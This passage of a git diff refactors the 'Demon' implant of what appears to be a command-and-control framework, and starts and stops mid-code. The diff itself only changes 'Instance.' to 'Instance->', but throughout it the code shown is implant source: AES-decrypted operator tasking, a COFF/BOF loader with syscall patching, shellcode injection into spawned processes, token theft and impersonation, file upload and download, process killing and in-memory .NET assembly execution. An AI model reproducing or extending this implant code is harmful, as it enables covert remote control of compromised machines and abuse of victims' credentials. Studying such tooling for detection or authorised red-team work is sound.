Instance.Config.Transport.Uris[ J + 1 ] = NULL; + Instance->Config.Transport.Uris[ J + 1 ] = NULL; // check if proxy connection is enabled - Instance.Config.Transport.Proxy.Enabled = ( BOOL ) ParserGetInt32( &Parser );; - if ( Instance.Config.Transport.Proxy.Enabled ) + Instance->Config.Transport.Proxy.Enabled = ( BOOL ) ParserGetInt32( &Parser );; + if ( Instance->Config.Transport.Proxy.Enabled ) { PUTS( "[CONFIG] [PROXY] Enabled" ); Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.Proxy.Url = MmHeapAlloc( Length + sizeof( WCHAR ) ); - MemCopy( Instance.Config.Transport.Proxy.Url, Buffer, Length ); - PRINTF( "[CONFIG] [PROXY] Url: %ls\n", Instance.Config.Transport.Proxy.Url ); + Instance->Config.Transport.Proxy.Url = MmHeapAlloc( Length + sizeof( WCHAR ) ); + MemCopy( Instance->Config.Transport.Proxy.Url, Buffer, Length ); + PRINTF( "[CONFIG] [PROXY] Url: %ls\n", Instance->Config.Transport.Proxy.Url ); Buffer = ParserGetBytes( &Parser, &Length ); if ( Length > 0 ) { - Instance.Config.Transport.Proxy.Username = MmHeapAlloc( Length ); - MemCopy( Instance.Config.Transport.Proxy.Username, Buffer, Length ); - PRINTF( "[CONFIG] [PROXY] Username: %ls\n", Instance.Config.Transport.Proxy.Username ); + Instance->Config.Transport.Proxy.Username = MmHeapAlloc( Length ); + MemCopy( Instance->Config.Transport.Proxy.Username, Buffer, Length ); + PRINTF( "[CONFIG] [PROXY] Username: %ls\n", Instance->Config.Transport.Proxy.Username ); } else - Instance.Config.Transport.Proxy.Username = NULL; + Instance->Config.Transport.Proxy.Username = NULL; Buffer = ParserGetBytes( &Parser, &Length ); if ( Length > 0 ) { - Instance.Config.Transport.Proxy.Password = MmHeapAlloc( Length ); - MemCopy( Instance.Config.Transport.Proxy.Password, Buffer, Length ); - PRINTF( "[CONFIG] [PROXY] Password: %ls\n", Instance.Config.Transport.Proxy.Password ); + Instance->Config.Transport.Proxy.Password = MmHeapAlloc( Length ); + MemCopy( Instance->Config.Transport.Proxy.Password, Buffer, Length ); + PRINTF( "[CONFIG] [PROXY] Password: %ls\n", Instance->Config.Transport.Proxy.Password ); } else - Instance.Config.Transport.Proxy.Password = NULL; + Instance->Config.Transport.Proxy.Password = NULL; } else { @@ -762,25 +766,25 @@ VOID DemonConfig() #ifdef TRANSPORT_SMB Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.Name = Instance.Win32.LocalAlloc( LPTR, Length ); - MemCopy( Instance.Config.Transport.Name, Buffer, Length ); + Instance->Config.Transport.Name = Instance->Win32.LocalAlloc( LPTR, Length ); + MemCopy( Instance->Config.Transport.Name, Buffer, Length ); - PRINTF( "[CONFIG] PipeName: %ls\n", Instance.Config.Transport.Name ); + PRINTF( "[CONFIG] PipeName: %ls\n", Instance->Config.Transport.Name ); - Instance.Config.Transport.KillDate = ParserGetInt64( &Parser ); - PRINTF( "KillDate: %d\n", Instance.Config.Transport.KillDate ) + Instance->Config.Transport.KillDate = ParserGetInt64( &Parser ); + PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate ) // check if the kill date has already passed - if ( Instance.Config.Transport.KillDate && GetSystemFileTime() >= Instance.Config.Transport.KillDate ) + if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate ) { // refuse to run // TODO: exit process? - Instance.Win32.RtlExitUserThread(0); + Instance->Win32.RtlExitUserThread(0); } - Instance.Config.Transport.WorkingHours = ParserGetInt32( &Parser ); + Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser ); #endif - Instance.Config.Implant.ThreadStartAddr = Instance.Win32.LdrLoadDll + 0x12; /* TODO: default -> change that or make it optional via builder or profile */ - Instance.Config.Inject.Technique = INJECTION_TECHNIQUE_SYSCALL; + Instance->Config.Implant.ThreadStartAddr = Instance->Win32.LdrLoadDll + 0x12; /* TODO: default -> change that or make it optional via builder or profile */ + Instance->Config.Inject.Technique = INJECTION_TECHNIQUE_SYSCALL; ParserDestroy( &Parser ); } diff --git a/payloads/Demon/src/core/CoffeeLdr.c b/payloads/Demon/src/core/CoffeeLdr.c index e48f797..1547ce7 100644 --- a/payloads/Demon/src/core/CoffeeLdr.c +++ b/payloads/Demon/src/core/CoffeeLdr.c @@ -193,7 +193,7 @@ BOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 SymbolType, P * we overwrite the addresses of some Nt apis to provide * automatic support for syscalls to BOFs */ - if ( hLibrary == Instance.Modules.Ntdll ) + if ( hLibrary == Instance->Modules.Ntdll ) { for ( DWORD i = 0 ;; i++ ) { @@ -212,7 +212,7 @@ BOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 SymbolType, P AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR ); AnsiString.Buffer = SymName; - if ( NT_SUCCESS( Instance.Win32.LdrGetProcedureAddress( hLibrary, &AnsiString, 0, pFuncAddr ) ) ) + if ( NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( hLibrary, &AnsiString, 0, pFuncAddr ) ) ) return TRUE; goto SymbolNotFound; @@ -261,11 +261,11 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE ULONG Protection = 0; ULONG BitMask = 0; - if ( Instance.Config.Implant.CoffeeVeh ) + if ( Instance->Config.Implant.CoffeeVeh ) { PUTS( "Register VEH handler..." ) // Add Veh Debugger in case that our BOF crashes etc. - VehHandle = Instance.Win32.RtlAddVectoredExceptionHandler( 1, &VehDebugger ); + VehHandle = Instance->Win32.RtlAddVectoredExceptionHandler( 1, &VehDebugger ); if ( ! VehHandle ) { PACKAGE_ERROR_WIN32 @@ -385,7 +385,7 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE // Remove our exception handler if ( VehHandle ) { - Instance.Win32.RtlRemoveVectoredExceptionHandler( VehHandle ); + Instance->Win32.RtlRemoveVectoredExceptionHandler( VehHandle ); } return TRUE; @@ -407,14 +407,14 @@ VOID CoffeeCleanup( PCOFFEE Coffee ) Size = Coffee->BofSize; if ( ! NT_SUCCESS( ( NtStatus = SysNtFreeVirtualMemory( NtCurrentProcess(), &Pointer, &Size, MEM_RELEASE ) ) ) ) { - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); PRINTF( "[!] Failed to free memory: %p : %lu\n", Coffee->ImageBase, NtGetLastError() ); } if ( Coffee->SecMap ) { MemSet( Coffee->SecMap, 0, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) ); - Instance.Win32.LocalFree( Coffee->SecMap ); + Instance->Win32.LocalFree( Coffee->SecMap ); Coffee->SecMap = NULL; } } @@ -641,7 +641,7 @@ SIZE_T CoffeeGetFunMapSize( PCOFFEE Coffee ) VOID RemoveCoffeeFromInstance( PCOFFEE Coffee ) { - PCOFFEE Entry = Instance.Coffees; + PCOFFEE Entry = Instance->Coffees; PCOFFEE Last = Entry; if ( ! Coffee ) @@ -649,7 +649,7 @@ VOID RemoveCoffeeFromInstance( PCOFFEE Coffee ) if ( Entry && Entry->RequestID == Coffee->RequestID ) { - Instance.Coffees = Entry->Next; + Instance->Coffees = Entry->Next; return; } @@ -690,13 +690,13 @@ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize * reloc 32-bit offsets to overflow */ - Coffee = Instance.Win32.LocalAlloc( LPTR, sizeof( COFFEE ) ); + Coffee = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE ) ); Coffee->Data = CoffeeData; Coffee->Header = Coffee->Data; Coffee->Symbol = C_PTR( U_PTR( Coffee->Data ) + Coffee->Header->PointerToSymbolTable ); Coffee->RequestID = RequestID; - Coffee->Next = Instance.Coffees; - Instance.Coffees = Coffee; + Coffee->Next = Instance->Coffees; + Instance->Coffees = Coffee; #if _WIN64 @@ -716,7 +716,7 @@ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize #endif - Coffee->SecMap = Instance.Win32.LocalAlloc( LPTR, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) ); + Coffee->SecMap = Instance->Win32.LocalAlloc( LPTR, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) ); Coffee->FunMapSize = CoffeeGetFunMapSize( Coffee ); if ( ! Coffee->SecMap ) @@ -791,7 +791,7 @@ END: if ( Coffee ) { MemSet( Coffee, 0, sizeof( Coffee ) ); - Instance.Win32.LocalFree( Coffee ); + Instance->Win32.LocalFree( Coffee ); Coffee = NULL; } } @@ -813,9 +813,9 @@ ExitThread: } JobRemove( (DWORD)(ULONG_PTR)NtCurrentTeb()->ClientId.UniqueThread ); - Instance.Threads--; + Instance->Threads--; - Instance.Win32.RtlExitUserThread( 0 ); + Instance->Win32.RtlExitUserThread( 0 ); } VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_T CoffeeDataSize, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID ) @@ -829,10 +829,10 @@ VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_ #endif // Allocate memory - CoffeeParams = Instance.Win32.LocalAlloc( LPTR, sizeof( COFFEE_PARAMS ) ); - CoffeeParams->EntryName = Instance.Win32.LocalAlloc( LPTR, EntryNameSize ); - CoffeeParams->CoffeeData = Instance.Win32.LocalAlloc( LPTR, CoffeeDataSize ); - CoffeeParams->ArgData = Instance.Win32.LocalAlloc( LPTR, ArgSize ); + CoffeeParams = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_PARAMS ) ); + CoffeeParams->EntryName = Instance->Win32.LocalAlloc( LPTR, EntryNameSize ); + CoffeeParams->CoffeeData = Instance->Win32.LocalAlloc( LPTR, CoffeeDataSize ); + CoffeeParams->ArgData = Instance->Win32.LocalAlloc( LPTR, ArgSize ); CoffeeParams->EntryNameSize = EntryNameSize; CoffeeParams->CoffeeDataSize = CoffeeDataSize; CoffeeParams->ArgSize = ArgSize; @@ -844,7 +844,7 @@ VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_ InjectionCtx.Parameter = CoffeeParams; - Instance.Threads++; + Instance->Threads++; if ( ! ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, NtCurrentProcess(), x64, CoffeeRunnerThread, CoffeeParams, NULL ) ) { PRINTF( "Failed to create new CoffeeRunnerThread thread: %d", NtGetLastError() ) diff --git a/payloads/Demon/src/core/Command.c b/payloads/Demon/src/core/Command.c index 00997ec..d5170df 100644 --- a/payloads/Demon/src/core/Command.c +++ b/payloads/Demon/src/core/Command.c @@ -56,10 +56,10 @@ VOID CommandDispatcher( VOID ) UINT32 CommandID = { 0 }; UINT32 RequestID = { 0 }; - PRINTF( "Session ID => %x\n", Instance.Session.AgentID ); + PRINTF( "Session ID => %x\n", Instance->Session.AgentID ); do { - if ( ! Instance.Session.Connected ) { + if ( ! Instance->Session.Connected ) { break; } @@ -101,13 +101,13 @@ VOID CommandDispatcher( VOID ) RequestID = ParserGetInt32( &Parser ); TaskBuffer = ParserGetBytes( &Parser, &TaskBufferSize ); - Instance.CurrentRequestID = RequestID; + Instance->CurrentRequestID = RequestID; if ( CommandID != DEMON_COMMAND_NO_JOB ) { PRINTF( "Task => RequestID:[%d : %x] CommandID:[%d : %x] TaskBuffer:[%x : %d]\n", RequestID, RequestID, CommandID, CommandID, TaskBuffer, TaskBufferSize ) if ( TaskBufferSize != 0 ) { ParserNew( &TaskParser, TaskBuffer, TaskBufferSize ); - ParserDecrypt( &TaskParser, Instance.Config.AES.Key, Instance.Config.AES.IV ); + ParserDecrypt( &TaskParser, Instance->Config.AES.Key, Instance->Config.AES.IV ); } for ( UINT32 FunctionCounter = 0 ;; FunctionCounter++ ) { @@ -124,7 +124,7 @@ VOID CommandDispatcher( VOID ) } while ( Parser.Length > 12 ); MemSet( DataBuffer, 0, DataBufferSize ); - Instance.Win32.LocalFree( DataBuffer ); + Instance->Win32.LocalFree( DataBuffer ); DataBuffer = NULL; ParserDestroy( &Parser ); @@ -155,7 +155,7 @@ VOID CommandDispatcher( VOID ) } while ( TRUE ); - Instance.Session.Connected = FALSE; + Instance->Session.Connected = FALSE; PUTS( "Out of while loop" ) } @@ -175,13 +175,13 @@ VOID CommandSleep( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_SLEEP ); - Instance.Config.Sleeping = ParserGetInt32( Parser ); - Instance.Config.Jitter = ParserGetInt32( Parser ); - PRINTF( "Instance.Sleeping: [%d]\n", Instance.Config.Sleeping ); - PRINTF( "Instance.Jitter : [%d]\n", Instance.Config.Jitter ); + Instance->Config.Sleeping = ParserGetInt32( Parser ); + Instance->Config.Jitter = ParserGetInt32( Parser ); + PRINTF( "Instance->Sleeping: [%d]\n", Instance->Config.Sleeping ); + PRINTF( "Instance->Jitter : [%d]\n", Instance->Config.Jitter ); - PackageAddInt32( Package, Instance.Config.Sleeping ); - PackageAddInt32( Package, Instance.Config.Jitter ); + PackageAddInt32( Package, Instance->Config.Sleeping ); + PackageAddInt32( Package, Instance->Config.Jitter ); PackageTransmit( Package ); } @@ -198,7 +198,7 @@ VOID CommandJob( PPARSER Parser ) case DEMON_COMMAND_JOB_LIST: { PUTS( "Job::list" ) - PJOB_DATA JobList = Instance.Jobs; + PJOB_DATA JobList = Instance->Jobs; do { if ( JobList ) @@ -364,7 +364,7 @@ VOID CommandProc( PPARSER Parser ) HANDLE hProcess = NULL; HANDLE hToken = NULL; - hProcess = ProcessOpen( U_PTR( SysProcessInfo->UniqueProcessId ) , ( Instance.Session.OSVersion > WIN_VERSION_XP ) ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION ); + hProcess = ProcessOpen( U_PTR( SysProcessInfo->UniqueProcessId ) , ( Instance->Session.OSVersion > WIN_VERSION_XP ) ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION ); if ( ! hProcess ) continue; @@ -413,7 +413,7 @@ VOID CommandProc( PPARSER Parser ) } else { - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); CALLBACK_ERROR_WIN32; } @@ -532,7 +532,7 @@ VOID CommandProc( PPARSER Parser ) hProcess = ProcessOpen( dwProcessID, PROCESS_TERMINATE ); if ( hProcess ) - Instance.Win32.TerminateProcess( hProcess, 0 ); + Instance->Win32.TerminateProcess( hProcess, 0 ); PackageAddInt32( Package, hProcess ? TRUE : FALSE ); PackageAddInt32( Package, dwProcessID ); @@ -592,7 +592,7 @@ VOID CommandProcList( /* open handle to each process with query information privilege since we don't need anything else besides basic info */ Process = ProcessOpen( U_PTR( SysProcessInfo->UniqueProcessId ), - Instance.Session.OSVersion > WIN_VERSION_XP ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION + Instance->Session.OSVersion > WIN_VERSION_XP ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION ); /* query data based on the process handle */ @@ -626,7 +626,7 @@ VOID CommandProcList( #ifdef DEBUG /* ignore this. is just for the debug prints. * if we close the handle to our own process we won't see any debug prints anymore */ - if ( U_PTR( SysProcessInfo->UniqueProcessId ) != Instance.Session.PID ) { + if ( U_PTR( SysProcessInfo->UniqueProcessId ) != Instance->Session.PID ) { SysNtClose( Process ); Process = NULL; } @@ -713,11 +713,11 @@ VOID CommandFS( PPARSER Parser ) Contains = Contains[ 0 ] ? Contains : NULL; Ends = Ends[ 0 ] ? Ends : NULL; - Path = Instance.Win32.LocalAlloc( LPTR, MAX_PATH * sizeof( WCHAR ) ); + Path = Instance->Win32.LocalAlloc( LPTR, MAX_PATH * sizeof( WCHAR ) ); if ( TargetFolder[ 0 ] == L'.' ) { - if ( ! Instance.Win32.GetCurrentDirectoryW( MAX_PATH, Path ) ) + if ( ! Instance->Win32.GetCurrentDirectoryW( MAX_PATH, Path ) ) { PRINTF( "Failed to get current dir: %d\n", NtGetLastError() ); DATA_FREE( Path, MAX_PATH * sizeof( WCHAR ) ); @@ -809,7 +809,7 @@ VOID CommandFS( PPARSER Parser ) PRINTF( "FileName => %ls\n", FileName.Buffer ) - hFile = Instance.Win32.CreateFileW( FileName.Buffer, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ); + hFile = Instance->Win32.CreateFileW( FileName.Buffer, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ); if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) { PUTS( "CreateFileW: Failed" ) @@ -820,10 +820,10 @@ VOID CommandFS( PPARSER Parser ) goto CleanupDownload; } - PathSize = Instance.Win32.GetFullPathNameW( FileName.Buffer, PathSize, FilePath, NULL ); + PathSize = Instance->Win32.GetFullPathNameW( FileName.Buffer, PathSize, FilePath, NULL ); PRINTF( "FilePath.Buffer[%d]: %ls\n", PathSize, FilePath ) - if ( ! Instance.Win32.GetFileSizeEx( hFile, &FileSize ) ) + if ( ! Instance->Win32.GetFileSizeEx( hFile, &FileSize ) ) { PUTS( "GetFileSizeEx: Failed" ) @@ -913,7 +913,7 @@ VOID CommandFS( PPARSER Parser ) PRINTF( "FileName[%d] => %ls\n", FileSize, FileName ) - hFile = Instance.Win32.CreateFileW( FileName, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL ); + hFile = Instance->Win32.CreateFileW( FileName, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL ); if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) { PUTS( "CreateFileW: Failed" ) @@ -922,7 +922,7 @@ VOID CommandFS( PPARSER Parser ) goto CleanupUpload; } - if ( ! Instance.Win32.WriteFile( hFile, Content, FileSize, &Written, NULL ) ) + if ( ! Instance->Win32.WriteFile( hFile, Content, FileSize, &Written, NULL ) ) { PUTS( "WriteFile: Failed" ) PACKAGE_ERROR_WIN32 @@ -951,7 +951,7 @@ VOID CommandFS( PPARSER Parser ) UINT32 PathSize = 0; LPWSTR Path = ParserGetWString( Parser, &PathSize ); - if ( ! Instance.Win32.SetCurrentDirectoryW( Path ) ) { + if ( ! Instance->Win32.SetCurrentDirectoryW( Path ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } else { @@ -965,11 +965,11 @@ VOID CommandFS( PPARSER Parser ) { UINT32 PathSize = 0; LPWSTR Path = ParserGetWString( Parser, &PathSize ); - DWORD dwAttrib = Instance.Win32.GetFileAttributesW( Path ); + DWORD dwAttrib = Instance->Win32.GetFileAttributesW( Path ); if ( dwAttrib != INVALID_FILE_ATTRIBUTES && ( dwAttrib & FILE_ATTRIBUTE_DIRECTORY ) ) { - if ( ! Instance.Win32.RemoveDirectoryW( Path ) ) { + if ( ! Instance->Win32.RemoveDirectoryW( Path ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } else { @@ -978,7 +978,7 @@ VOID CommandFS( PPARSER Parser ) } else { - if ( ! Instance.Win32.DeleteFileW( Path ) ) { + if ( ! Instance->Win32.DeleteFileW( Path ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; } else { @@ -996,7 +996,7 @@ VOID CommandFS( PPARSER Parser ) UINT32 PathSize = 0; LPWSTR Path = ParserGetWString( Parser, &PathSize ); - if ( ! Instance.Win32.CreateDirectoryW( Path, NULL ) ) + if ( ! Instance->Win32.CreateDirectoryW( Path, NULL ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEAR_LEAVE; @@ -1020,7 +1020,7 @@ VOID CommandFS( PPARSER Parser ) PRINTF( "Copy file %ls to %ls\n", PathFrom, PathTo ) - Success = Instance.Win32.CopyFileW( PathFrom, PathTo, FALSE ); + Success = Instance->Win32.CopyFileW( PathFrom, PathTo, FALSE ); if ( ! Success ) { PACKAGE_ERROR_WIN32 } @@ -1045,7 +1045,7 @@ VOID CommandFS( PPARSER Parser ) PRINTF( "Move file %ls to %ls\n", PathFrom, PathTo ) - Success = Instance.Win32.MoveFileExW( PathFrom, PathTo, MOVEFILE_REPLACE_EXISTING ); + Success = Instance->Win32.MoveFileExW( PathFrom, PathTo, MOVEFILE_REPLACE_EXISTING ); if ( ! Success ) { PACKAGE_ERROR_WIN32 } @@ -1062,7 +1062,7 @@ VOID CommandFS( PPARSER Parser ) WCHAR Path[ MAX_PATH * 2 ] = { 0 }; DWORD Return = 0; - if ( ! ( Return = Instance.Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) ) { + if ( ! ( Return = Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) ) { PRINTF( "Failed to get current dir: %d\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); } else { @@ -1091,7 +1091,7 @@ VOID CommandFS( PPARSER Parser ) if ( Content ) { MemSet( Content, 0, FileSize ); - Instance.Win32.LocalFree( Content ); + Instance->Win32.LocalFree( Content ); Content = NULL; } break; @@ -1120,7 +1120,7 @@ VOID CommandInlineExecute( PPARSER Parser ) PCHAR ObjectData = NULL; PMEM_FILE BofMemFile = NULL; PMEM_FILE ParamsMemFile = NULL; - UINT32 RequestID = Instance.CurrentRequestID; + UINT32 RequestID = Instance->CurrentRequestID; PCHAR FunctionName = ParserGetString( Parser, &FunctionNameSize ); ULONG BofFileID = ParserGetInt32( Parser ); ULONG ParamsFileID = ParserGetInt32( Parser ); @@ -1180,7 +1180,7 @@ VOID CommandInlineExecute( PPARSER Parser ) { PUTS( "Use default (from config) CoffeeLdr" ) - if ( Instance.Config.Implant.CoffeeThreaded ) + if ( Instance->Config.Implant.CoffeeThreaded ) { PUTS( "Config is set to threaded" ) CoffeeRunner( FunctionName, FunctionNameSize, ObjectData, ObjectDataSize, ArgBuffer, ArgSize, RequestID ); @@ -1312,9 +1312,9 @@ VOID CommandInjectShellcode( case INJECT_WAY_SPAWN: PUTS( "INJECT_WAY_SPAWN" ) { /* use configured target process */ if ( x64 ) { - Spawn = Instance.Config.Process.Spawn64; + Spawn = Instance->Config.Process.Spawn64; } else { - Spawn = Instance.Config.Process.Spawn86; + Spawn = Instance->Config.Process.Spawn86; } PRINTF( "Target spawn process: %ls\n", Spawn ) @@ -1449,7 +1449,7 @@ VOID CommandToken( PPARSER Parser ) case DEMON_COMMAND_TOKEN_LIST: PUTS( "Token::List" ) { - PTOKEN_LIST_DATA TokenList = Instance.Tokens.Vault; + PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault; DWORD TokenIndex = 0; do { @@ -1462,7 +1462,7 @@ VOID CommandToken( PPARSER Parser ) PackageAddWString( Package, TokenList->DomainUser ); PackageAddInt32( Package, TokenList->dwProcessID ); PackageAddInt32( Package, TokenList->Type ); - PackageAddInt32( Package, Instance.Tokens.Impersonate && Instance.Tokens.Token->Handle == TokenList->Handle ); + PackageAddInt32( Package, Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenList->Handle ); TokenList = TokenList->NextToken; } @@ -1491,19 +1491,19 @@ VOID CommandToken( PPARSER Parser ) PUTS( "Privs::List" ) TokenHandle = TokenCurrentHandle(); - Instance.Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, 0, &TPSize ); - TokenPrivs = Instance.Win32.LocalAlloc( LPTR, ( TPSize + 1 ) * sizeof( TOKEN_PRIVILEGES ) ); + Instance->Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, 0, &TPSize ); + TokenPrivs = Instance->Win32.LocalAlloc( LPTR, ( TPSize + 1 ) * sizeof( TOKEN_PRIVILEGES ) ); CHAR Name[ MAX_PATH ] = { 0 }; if ( TokenPrivs ) { - if ( Instance.Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, TPSize, &TPSize ) ) + if ( Instance->Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, TPSize, &TPSize ) ) { for ( INT i = 0; i < TokenPrivs->PrivilegeCount; i++ ) { Length = MAX_PATH; - Instance.Win32.LookupPrivilegeNameA( NULL, &TokenPrivs->Privileges[ i ].Luid, Name, &Length ); + Instance->Win32.LookupPrivilegeNameA( NULL, &TokenPrivs->Privileges[ i ].Luid, Name, &Length ); PackageAddString( Package, Name ); PackageAddInt32( Package, TokenPrivs->Privileges[ i ].Attributes ); } @@ -1522,7 +1522,7 @@ VOID CommandToken( PPARSER Parser ) if ( TokenPrivs ) { MemSet( TokenPrivs, 0, sizeof( TOKEN_PRIVILEGES ) ); - Instance.Win32.LocalFree( TokenPrivs ); + Instance->Win32.LocalFree( TokenPrivs ); TokenPrivs = NULL; } @@ -1553,7 +1553,7 @@ VOID CommandToken( PPARSER Parser ) hToken = TokenMake( lpUser, lpPassword, lpDomain ); if ( hToken != NULL ) { - UserDomain = Instance.Win32.LocalAlloc( LPTR, UserDomainSize ); + UserDomain = Instance->Win32.LocalAlloc( LPTR, UserDomainSize ); MemSet( UserDomain, 0, UserDomainSize ); @@ -1561,9 +1561,9 @@ VOID CommandToken( PPARSER Parser ) StringConcatW( UserDomain, Deli ); StringConcatW( UserDomain, lpUser ); - BufferUser = Instance.Win32.LocalAlloc( LPTR, dwUserSize ); - BufferPassword = Instance.Win32.LocalAlloc( LPTR, dwPasswordSize ); - BufferDomain = Instance.Win32.LocalAlloc( LPTR, dwDomainSize ); + BufferUser = Instance->Win32.LocalAlloc( LPTR, dwUserSize ); + BufferPassword = Instance->Win32.LocalAlloc( LPTR, dwPasswordSize ); + BufferDomain = Instance->Win32.LocalAlloc( LPTR, dwDomainSize ); MemCopy( BufferUser, lpUser, dwUserSize ); MemCopy( BufferPassword, lpPassword, dwPasswordSize ); @@ -1640,8 +1640,8 @@ VOID CommandToken( PPARSER Parser ) if ( ! Success ) PACKAGE_ERROR_WIN32; - Instance.Tokens.Token = NULL; - Instance.Tokens.Impersonate = FALSE; + Instance->Tokens.Token = NULL; + Instance->Tokens.Impersonate = FALSE; break; } @@ -1706,33 +1706,33 @@ VOID CommandToken( PPARSER Parser ) VOID CommandAssemblyInlineExecute( PPARSER Parser ) { - if ( ! Instance.Dotnet ) + if ( ! Instance->Dotnet ) { BUFFER Buffer = { 0 }; BUFFER AssemblyData = { 0 }; BUFFER AssemblyArgs = { 0 }; - Instance.Dotnet = MmHeapAlloc( sizeof( DOTNET_ARGS ) ); - Instance.Dotnet->RequestID = Instance.CurrentRequestID; - Instance.Dotnet->Invoked = FALSE; + Instance->Dotnet = MmHeapAlloc( sizeof( DOTNET_ARGS ) ); + Instance->Dotnet->RequestID = Instance->CurrentRequestID; + Instance->Dotnet->Invoked = FALSE; /* Parse Pipe Name */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); - Instance.Dotnet->PipeName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); - Instance.Dotnet->PipeName.Length = Buffer.Length; - MemCopy( Instance.Dotnet->PipeName.Buffer, Buffer.Buffer, Instance.Dotnet->PipeName.Length ); + Instance->Dotnet->PipeName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); + Instance->Dotnet->PipeName.Length = Buffer.Length; + MemCopy( Instance->Dotnet->PipeName.Buffer, Buffer.Buffer, Instance->Dotnet->PipeName.Length ); /* Parse AppDomain Name */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); - Instance.Dotnet->AppDomainName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); - Instance.Dotnet->AppDomainName.Length = Buffer.Length; - MemCopy( Instance.Dotnet->AppDomainName.Buffer, Buffer.Buffer, Instance.Dotnet->AppDomainName.Length ); + Instance->Dotnet->AppDomainName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); + Instance->Dotnet->AppDomainName.Length = Buffer.Length; + MemCopy( Instance->Dotnet->AppDomainName.Buffer, Buffer.Buffer, Instance->Dotnet->AppDomainName.Length ); /* Parse Net Version */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); - Instance.Dotnet->NetVersion.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); - Instance.Dotnet->NetVersion.Length = Buffer.Length; - MemCopy( Instance.Dotnet->NetVersion.Buffer, Buffer.Buffer, Instance.Dotnet->NetVersion.Length ); + Instance->Dotnet->NetVersion.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); + Instance->Dotnet->NetVersion.Length = Buffer.Length; + MemCopy( Instance->Dotnet->NetVersion.Buffer, Buffer.Buffer, Instance->Dotnet->NetVersion.Length ); /* Parse Assembly MemFile */ ULONG32 MemFileID = ParserGetInt32( Parser ); @@ -1764,9 +1764,9 @@ VOID CommandAssemblyInlineExecute( PPARSER Parser ) " - NetString [%d]: %ls \n" " - AssemblyArgs [%d]: %ls \n" " - AssemblyData [%d]: %p \n", - Instance.Dotnet->PipeName.Length, Instance.Dotnet->PipeName.Buffer, - Instance.Dotnet->AppDomainName.Length, Instance.Dotnet->AppDomainName.Buffer, - Instance.Dotnet->NetVersion.Length, Instance.Dotnet->NetVersion.Buffer, + Instance->Dotnet->PipeName.Length, Instance->Dotnet->PipeName.Buffer, + Instance->Dotnet->AppDomainName.Length, 